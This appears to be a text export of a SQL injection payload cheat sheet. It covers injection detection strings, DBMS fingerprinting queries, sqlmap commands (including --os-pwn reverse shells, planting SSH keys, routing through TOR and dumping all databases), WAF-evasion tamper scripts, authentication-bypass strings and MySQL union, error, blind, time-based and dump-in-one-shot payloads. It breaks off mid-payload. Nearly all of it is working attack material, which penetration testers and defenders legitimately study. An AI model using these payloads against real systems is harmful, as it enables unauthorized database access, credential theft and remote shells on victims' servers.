SQLpayloads A.T6 M.S666.

md 7/17/2023

SQL Injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the
client to the application.

Attempting to manipulate SQL queries may have goals including:

Information Leakage
Disclosure of stored data
Manipulation of stored data
Bypassing authorization controls

Summary:
CheatSheets
MSSQL Injection
MySQL Injection
OracleSQL Injection
PostgreSQL Injection
SQLite Injection
Cassandra Injection
HQL Injection
DB2 Injection
Entry point detection
DBMS Identification
SQL injection using SQLmap
Basic arguments for SQLmap
Load a request file and use mobile user-agent
Custom injection in UserAgent/Header/Referer/Cookie
Second order injection
Shell
Crawl a website with SQLmap and auto-exploit
Using TOR with SQLmap
Using a proxy with SQLmap
Using Chrome cookie and a Proxy
Using suffix to tamper the injection
General tamper option and tamper's list
SQLmap without SQL injection
Authentication bypass
Authentication Bypass (Raw MD5 SHA1)
Polyglot injection
Routed injection
Insert Statement - ON DUPLICATE KEY UPDATE
WAF Bypass

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Entry point detection

Detection of an SQL injection entry point Simple characters

'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content

Multiple encoding

%%2727
%25%27

Merging characters

`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP

Logic Testing

page.asp?id=1 or 1=1 -- true

page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

Weird characters

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

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DBMS Identification

["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

SQL injection using SQLmap

Basic arguments for SQLmap

sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 -

-risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --
passwords --current-user --dbs

Load a request file and use mobile user-agent

sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1

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Custom injection in UserAgent/Header/Referer/Cookie

python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --

headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order

"http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order
"http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

Dropping a reverse-shell / meterpreter

python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SSH Shell by dropping an SSH key

python sqlmap.py -u "http://example.com/?id=1" -p id --file-
write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --

threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this
accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Using TOR with SQLmap

sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-

tor --level=5 --risk=3 --threads=5

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Using a proxy with SQLmap

sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"

Using Chrome cookie and a Proxy

sqlmap -u "https://test.com/index.php?id=99" --load-

cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --
time-sec 15 --level 3

Using suffix to tamper the injection

python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "

General tamper option and tamper's list

tamper=name_of_the_tamper

Tamper Description

Replaces each (MySQL) 0x encoded string with equivalent

0x2char.py
CONCAT(CHAR(),…) counterpart

apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart

Replaces apostrophe character with its illegal double unicode

apostrophenullencode.py
counterpart

appendnullbyte.py Appends encoded NULL byte character at the end of payload

base64encode.py Base64 all characters in a given payload

between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'

Replaces space character after SQL statement with a valid random blank
bluecoat.py
character.Afterwards replace character = with LIKE operator

Double url-encodes all characters in a given payload (not processing

chardoubleencode.py
already encoded)

URL-encodes all characters in a given payload (not processing already

charencode.py
encoded) (e.g. SELECT -> %53%45%4C%45%43%54)

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Tamper Description

Unicode-URL-encodes all characters in a given payload (not processing

charunicodeencode.py already encoded) (e.g. SELECT ->
%u0053%u0045%u004C%u0045%u0043%u0054)

Unicode-escapes non-encoded characters in a given payload (not

charunicodeescape.py processing already encoded) (e.g. SELECT ->
\u0053\u0045\u004C\u0045\u0043\u0054)

commalesslimit.py Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'

commalessmid.py Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'

commentbeforeparentheses.py Prepends (inline) comment before parentheses (e.g. ( -> /**/()

Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0),

concat2concatws.py
0, 0), A, B)'

Url-encodes all characters in a given payload (not processing already

charencode.py
encoded)

Unicode-url-encodes non-encoded characters in a given payload (not

charunicodeencode.py
processing already encoded)

equaltolike.py Replaces all occurrences of operator equal ('=') with operator 'LIKE'

escapequotes.py Slash escape quotes (' and ")

greatest.py Replaces greater than operator ('>') with 'GREATEST' counterpart

halfversionedmorekeywords.py Adds versioned MySQL comment before each keyword

HTML encode (using code points) all non-alphanumeric characters (e.g.

htmlencode.py
‘ -> ')

Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN
ifnull2casewhenisnull.py
(B) ELSE (A) END’ counterpart

ifnull2ifisnull.py Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'

Add an inline comment (/**/) to the end of all occurrences of (MySQL)

informationschemacomment.py
“information_schema” identifier

least.py Replaces greater than operator (‘>’) with ‘LEAST’ counterpart

Replaces each keyword character with lower case value (e.g. SELECT ->
lowercase.py
select)

modsecurityversioned.py Embraces complete query with versioned comment

modsecurityzeroversioned.py Embraces complete query with zero-versioned comment

multiplespaces.py Adds multiple spaces around SQL keywords

Replaces predefined SQL keywords with representations suitable for

nonrecursivereplacement.py
replacement (e.g. .replace("SELECT", "")) filters

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Tamper Description

Converts all characters in a given payload (not processing already

overlongutf8.py
encoded)

Converts all characters in a given payload to overlong UTF8 (not

overlongutf8more.py processing already encoded) (e.g. SELECT ->
%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)

percentage.py Adds a percentage sign ('%') infront of each character

Replaces plus operator (‘+’) with (MsSQL) function CONCAT()

plus2concat.py
counterpart

Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()}
plus2fnconcat.py
counterpart

randomcase.py Replaces each keyword character with random case value

randomcomments.py Add random comments to SQL keywords

securesphere.py Appends special crafted string

Appends 'sp_password' to the end of the payload for automatic

sp_password.py
obfuscation from DBMS logs

space2comment.py Replaces space character (' ') with comments

Replaces space character (' ') with a dash comment ('--') followed by a
space2dash.py
random string and a new line ('\n')

Replaces space character (' ') with a pound character ('#') followed by a
space2hash.py
random string and a new line ('\n')

Replaces space character (' ') with a pound character ('#') followed by a
space2morehash.py
random string and a new line ('\n')

Replaces space character (' ') with a random blank character from a
space2mssqlblank.py
valid set of alternate characters

Replaces space character (' ') with a pound character ('#') followed by a
space2mssqlhash.py
new line ('\n')

Replaces space character (' ') with a random blank character from a
space2mysqlblank.py
valid set of alternate characters

Replaces space character (' ') with a dash comment ('--') followed by a
space2mysqldash.py
new line ('\n')

space2plus.py Replaces space character (' ') with plus ('+')

Replaces space character (' ') with a random blank character from a
space2randomblank.py
valid set of alternate characters

Replaces AND and OR logical operators with their symbolic

symboliclogical.py
counterparts (&& and

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Tamper Description

unionalltounion.py Replaces UNION ALL SELECT with UNION SELECT

Replaces quote character (') with a multi-byte combo %bf%27 together

unmagicquotes.py
with generic comment at the end (to make it work)

uppercase.py Replaces each keyword character with upper case value 'INSERT'

varnish.py Append a HTTP header 'X-originating-IP'

versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment

versionedmorekeywords.py Encloses each keyword with versioned MySQL comment

xforwardedfor.py Append a fake HTTP header 'X-Forwarded-For'

SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

sqlmap.py -d "mysql://user:pass@ip/database" --dump-all

Authentication bypass

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"

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" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
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admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING

md5("ffifdyop", true) = 'or'6�]��!r,��b

sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Challenge demo available at http://web.jarvisoj.com:32772

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)
<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)
<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1
)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

Routed injection

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

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MYSQL Injection
Summary
MYSQL Default Databases
MYSQL Comments
MYSQL Union Based
Detect columns number
Extract database with information_schema
Extract columns name without information_schema
Extract data without columns name
MYSQL Error Based
MYSQL Error Based - Basic
MYSQL Error Based - UpdateXML function
MYSQL Error Based - Extractvalue function
MYSQL Blind
MYSQL Blind with substring equivalent
MYSQL Blind using a conditional statement
MYSQL Blind with MAKE_SET
MYSQL Blind with LIKE
MYSQL Time Based
Using SLEEP in a subselect
Using conditional statements
MYSQL DIOS - Dump in One Shot
MYSQL Current queries
MYSQL Read content of a file
MYSQL Write a shell
Into outfile method
Into dumpfile method
MYSQL UDF command execution
MYSQL Truncation
MYSQL Fast Exploitation
MYSQL Out of band
DNS exfiltration
UNC Path - NTLM hash stealing

MYSQL Default Databases

Name Description

mysql Requires root privileges

information_schema Availalble from version 5 and higher

MYSQL comments
Type Description

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Type Description

# Hash comment

/* MYSQL Comment */ C-style comment

/*! MYSQL Special SQL */ Special SQL

/*!32302 10*/ Comment for MYSQL version 3.23.02

-- - SQL comment

;%00 Nullbyte

` Backtick

MYSQL Testing Injection

Strings: Query like SELECT * FROM Table WHERE id = 'FUZZ';

' False
'' True
" False
"" True
\ False
\\ True

Numeric: Query like SELECT * FROM Table WHERE id = FUZZ;

AND 1 True
AND 0 False
AND true True
AND false False
1-false Returns 1 if vulnerable
1-true Returns 0 if vulnerable
1*56 Returns 56 if vulnerable
1*56 Returns 1 if not vulnerable

Login: Query like SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';

' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+

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MYSQL Union Based

Detect columns number

First you need to know the number of columns

Using order by or group by

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have
different funcionality in SQL, they both can be used in the exact same fashion to determine the number of
columns in the query.

1' ORDER BY 1--+ #True

1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

or

1' GROUP BY 1--+ #True

1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

Using order by or group by Error Based

Similar to the previous method, we can check the number of columns with 1 request if error showing is
enabled.

1' ORDER BY
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3
1,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58
,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,
86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'order clause'

# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True

or

1' GROUP BY
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3
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1,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58
,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,
86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'group statement'

# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True

Using UNION SELECT Error Based

This method works if error showing is enabled

1' UNION SELECT @--+ #The used SELECT statements have a different number of
columns
1' UNION SELECT @,@--+ #The used SELECT statements have a different number of
columns
1' UNION SELECT @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True

Using LIMIT INTO Error Based

This method works if error showing is enabled.

It is useful for finding the number of columns when the injection point is after a LIMIT clause.

1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number
of columns
1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number
of columns
1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True

Using SELECT * FROM SOME_EXISTING_TABLE Error Based

This works if you know the table name you're after and error showing is enabled.

It will return the amount of columns in the table, not the query.

1' AND (SELECT * FROM Users) = 1--+ #Operand should contain 3 column(s)
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True

Extract database with information_schema

Then the following codes will extract the databases'name, tables'name, columns'name.
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UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeR
e+table_schema=...
UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wH
eRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

Extract columns name without information_schema

Method for MySQL >= 4.1.

First extract the column number with

?id=(1)and(SELECT * from db.users)=(1)

-- Operand should contain 4 column(s)

Then extract the column name.

?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null

Method for MySQL 5

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a

--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a

-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a

...

Extract data without columns name

Extracting data from the 4th column without knowing its name.

select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;

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Injection example inside the query select author_id,title from posts where author_id=
[INJECT_HERE]

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union

select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from
users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:[email protected] |
+-----------+-----------------------------------------------------------------+

MYSQL Error Based

MYSQL Error Based - Basic

Works with MySQL >= 4.1

(select 1 and row(1,1)>(select

count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union
select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select
count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union
select 2)a group by x limit 1))+'

MYSQL Error Based - UpdateXML function

AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126))
FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126))
FROM information_schema.TABLES WHERE table_schema=data_column LIMIT
data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126))
FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT
data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126))
FROM data_table.data_column LIMIT data_offset,1)),null)--

Shorter to read:

' and updatexml(null,concat(0x0a,version()),null)-- -

' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables
where table_schema=database() LIMIT 0,1)),null)-- -

16 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023

MYSQL Error Based - Extractvalue function

Works with MySQL >= 5.1

?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--

?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT
concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT
data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT
concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE
table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT
concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE
TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT
concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT
data_offset,1)))--

MYSQL Error Based - NAME_CONST function (only for constants)

Works with MySQL >= 5.0

?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))

as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)-
-
?id=1 AND (SELECT * FROM (SELECT
NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

MYSQL Blind
MYSQL Blind with substring equivalent

?id=1 and substring(version(),1,1)=5

?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP

This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not.
For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce
blind values character by character and leak data from the database without direct output.

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SQLpayloads A.T6 M.S666.md 7/17/2023

[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE
[COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS])
THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -

MySQL Blind SQL Injection binary query using REGEXP.

Payload:

' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*")
THEN SLEEP(3) ELSE 1 END)); -- -

Would work in the query (where the "where" clause is the injection point):

SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT
name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';

In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with
an "a". If it will sleep for 3 seconds per item.

MYSQL Blind using a conditional statement

TRUE: if @@version starts with a 5:

2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error

False: if @@version starts with a 4:

2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK

MYSQL Blind with MAKE_SET

AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)

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SQLpayloads A.T6 M.S666.md 7/17/2023

MYSQL Blind with LIKE

'_' acts like the regex character '.', use it to speed up your blind testing

SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';

MYSQL Time Based

The following SQL codes will delay the output from MySQL.

MySQL 4/5 : BENCHMARK()

+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1

MySQL 5: SLEEP()

RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))

Using SLEEP in a subselect

1 and (select sleep(10) from dual where database() like '%')#

1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from
information_schema.columns where table_schema=database() and column_name like
'%pass%' limit 0,1) like '%')#

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SQLpayloads A.T6 M.S666.md 7/17/2023

Using conditional statements

?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1,

BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

MYSQL DIOS - Dump in One Shot

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns)

where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] >
',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where

(@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' >
',0x7C))))a)#

-- SecurityIdiots
make_set(6,@:=0x0a,
(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_
name,column_name)),@)

-- Profexer
(select(@)from(select(@:=0x00),
(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_
name,0x3a,column_name))))a)

-- Dr.Z3r0
(select(select concat(@:=0xa7,(select
count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x
3a,column_name))),@))

-- M@dBl00d
(Select export_set(5,@:=0,(select
count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_
name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

-- Zen
+make_set(6,@:=0x0a,
(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_
name,column_name)),@)

-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),
(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAb
AsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe
_nAMe,0x3a3a,column_name))))a)

-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!
20 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023

(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c6272
3e3c62723e,unhex(hex(concat/*!
(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e747
2306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723
d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666
f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d
626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x
3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461
626173652055736572203a3a20,user(),
(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),
(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0)
from(information_schema./**/columns)where(table_schema=database())
and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!
(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e74206
36f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2,
0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e
3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),
0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e),
0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number
%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_nam
e,0x3c2f666f6e743e))))x)))))*/+

-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c
